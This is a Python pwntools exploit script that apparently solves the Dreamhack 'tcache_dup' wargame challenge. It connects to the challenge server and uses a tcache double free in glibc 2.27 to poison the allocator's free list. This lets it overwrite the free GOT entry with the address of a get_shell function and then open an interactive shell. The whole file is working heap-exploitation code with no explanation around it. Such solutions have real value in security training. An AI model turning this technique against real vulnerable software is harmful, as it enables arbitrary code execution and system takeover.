from pwn import *

r = remote("host3.dreamhack.games",24344)
#r = process("./tcache_dup")
e = ELF("./tcache_dup")
libc = ELF("./libc-2.27.so")
#gdb.attach(r)
def create(size,data):
    r.sendlineafter("> ",b'1')
    r.sendlineafter("Size: ",str(size).encode())
    r.sendafter("Data: ",data)

def delete(idx):
    r.sendlineafter("> ",b'2')
    r.sendlineafter("idx: ",str(idx).encode())

getshell = e.symbols['get_shell']
success("getshell: "+hex(getshell))

free_got = e.got['free']
success("free_got: "+hex(free_got))

#tcache_dup
#tcache[0x40]: A
create(0x30,b'A')
delete(0)

#tcache[0x40]: A -> A
delete(0)

# tcache[0x40]: A -> free_got
create(0x30, p64(free_got))

# tcache[0x40]: free_got
create(0x30, b'B')

#tcache[0x40]: 
create(0x30, p64(getshell))

delete(0)

r.interactive()